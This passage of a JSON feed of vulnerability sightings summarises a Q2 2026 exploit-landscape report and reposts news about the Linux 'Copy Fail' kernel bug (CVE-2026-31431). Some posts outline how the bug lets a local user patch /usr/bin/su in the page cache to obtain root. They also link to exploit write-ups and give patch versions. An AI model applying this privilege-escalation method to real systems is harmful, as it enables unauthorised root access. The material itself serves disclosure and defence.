\u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-31T00:00:48.405923Z"}, {"uuid": "87980fd6-c034-4ad4-ad65-accdbf744615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1777", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-20T00:00:08.907948Z"}, {"uuid": "d22048a9-9cd8-40be-8774-3dfc3df0a0e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1776", "content": "\ud83d\udd25 CVE-2026-31431: \"Copy Fail\" \u2014 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 Root \u0432 Linux \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \ud83d\ude31\n\n\u041f\u043e\u043a\u0430 \u0432\u0441\u0435 \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0438 AI, \u0432 \u0441\u0430\u043c\u043e\u043c \u0441\u0435\u0440\u0434\u0446\u0435 Linux \u043d\u0430\u0448\u043b\u0438 \u0431\u0430\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0438\u043b \u0442\u0430\u043c \u0441 2017 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \"Copy Fail\", \u0438 \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441\u0442\u0430\u0442\u044c root-\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435.\n\n\ud83d\udca5 \u0412 \u0447\u0435\u043c \u043f\u0440\u0438\u043a\u043e\u043b?\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u044f\u0434\u0440\u0430 (algif_aead). \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0432\u043e\u0439 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 9-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f\u0445 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c splice(), \u044f\u0434\u0440\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \n\n\ud83d\udea8 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e?\n\u2014 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\u2014 \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 Ubuntu, RHEL, Amazon Linux \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\u2014 \u041d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 (race conditions) \u2014 \u0431\u0430\u0433 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 100%.\n\u2014 \u041c\u043e\u0436\u043d\u043e \"\u043d\u0430 \u043b\u0435\u0442\u0443\" \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u044f\u0434\u0440\u043e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 (7.0, 6.19.12, 6.18.22) \u0438\u043b\u0438 \u0436\u0434\u0430\u0442\u044c \u0431\u044d\u043a\u043f\u043e\u0440\u0442\u043e\u0432 \u043e\u0442 \u0432\u0430\u0448\u0435\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430.\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0425\u043e\u0447\u0435\u0448\u044c \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u0442\u0430\u043a\u0438\u0445 \u0434\u044b\u0440\u0430\u0445 \u043f\u0435\u0440\u0432\u044b\u043c? \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0443 VIP-\u0432\u0435\u0440\u0441\u0438\u044e \u2014 \u0442\u0430\u043c \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0438 0-day \u043e\u0442\u0447\u0435\u0442\u044b \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445! \ud83d\ude80\n\n#Linux #CVE #Root #LPE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:08.939945Z"}, {"uuid": "2fc2bd5d-bc3f-406d-a204-7ea85b97b03b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1774", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-20T00:00:08.968490Z"}, {"uuid": "d93b0a5c-e8c5-4a26-861d-5243d24448a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1773", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-20T00:00:08.998203Z"}, {"uuid": "2557c07f-90be-4a40-9471-76e014f33248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/21676", "content": "DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability \u2013 thehackernews.com\n\nTue, 19 May 2026 22:56:26", "creation_timestamp": "2026-07-20T00:00:22.554865Z"}, {"uuid": "3a0a0a24-86e1-48eb-83ee-4298293a24e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/21278", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV \u2013 thehackernews.com\n\nSun, 03 May 2026 14:26:00", "creation_timestamp": "2026-07-20T00:00:22.173298Z"}, {"uuid": "5844d668-c89e-4b46-b480-20910630e231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/sanspie_notes/415", "content": "CVE-2026-31431\n\n\u041a\u0440\u0430\u0441\u0438\u0432\u0430\u044f \u0438 \u043f\u0440\u043e\u0441\u0442\u0430\u044f LPE \u043f\u043e\u0434 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 Linux-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432.\n\n\u0420\u0435\u043f\u043e\u0440\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442: https://xint.io/blog/copy-fail-linux-distributions\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0435 4 \u0431\u0430\u0439\u0442\u0430 \u0432 cache page \u043b\u044e\u0431\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.\n\n\u0424\u0438\u043a\u0441: \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0445\u043e\u0442\u0444\u0438\u043a\u0441. \u0412\u0441\u0451 \u0435\u0441\u0442\u044c \u0432 \u0441\u0442\u0430\u0442\u044c\u0435.\n\n\u0425\u043e\u0440\u043e\u0448\u0435\u0433\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u043d\u044f)\n@disasm_me_ch", "creation_timestamp": "2026-07-20T00:00:26.719100Z"}, {"uuid": "e2d8c7ae-ef74-4c8f-9700-d60f2240aab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31022", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mr33lwfyfi2y", "content": "Is your Next.js app secure? Our latest Weekly CVE Roundup covers the critical RCE (CVE-2026-31022) and the rising risks in SSR and edge computing architectures. Don't miss this analysis: https://cvedatabase.com/blog/weekly-cve-roundup-next-js-critical-rce-and-the-evolving-threat-to...", "creation_timestamp": "2026-07-20T10:30:06.349306Z"}, {"uuid": "ca16c178-bd83-4b57-b8c9-06bec630c03c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-20T18:00:13.290172Z"}, {"uuid": "50819a15-b8b5-46b8-a87a-9731806b4f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "Telegram/NW7V9u2EGhRgED-z9xdOzHZbsfjRyxRBUkGYF4xdEtg2Mh4", "content": "", "creation_timestamp": "2026-07-20T18:00:13.428296Z"}, {"uuid": "a2bb4fb9-78e9-4335-b7c0-7148761a6128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 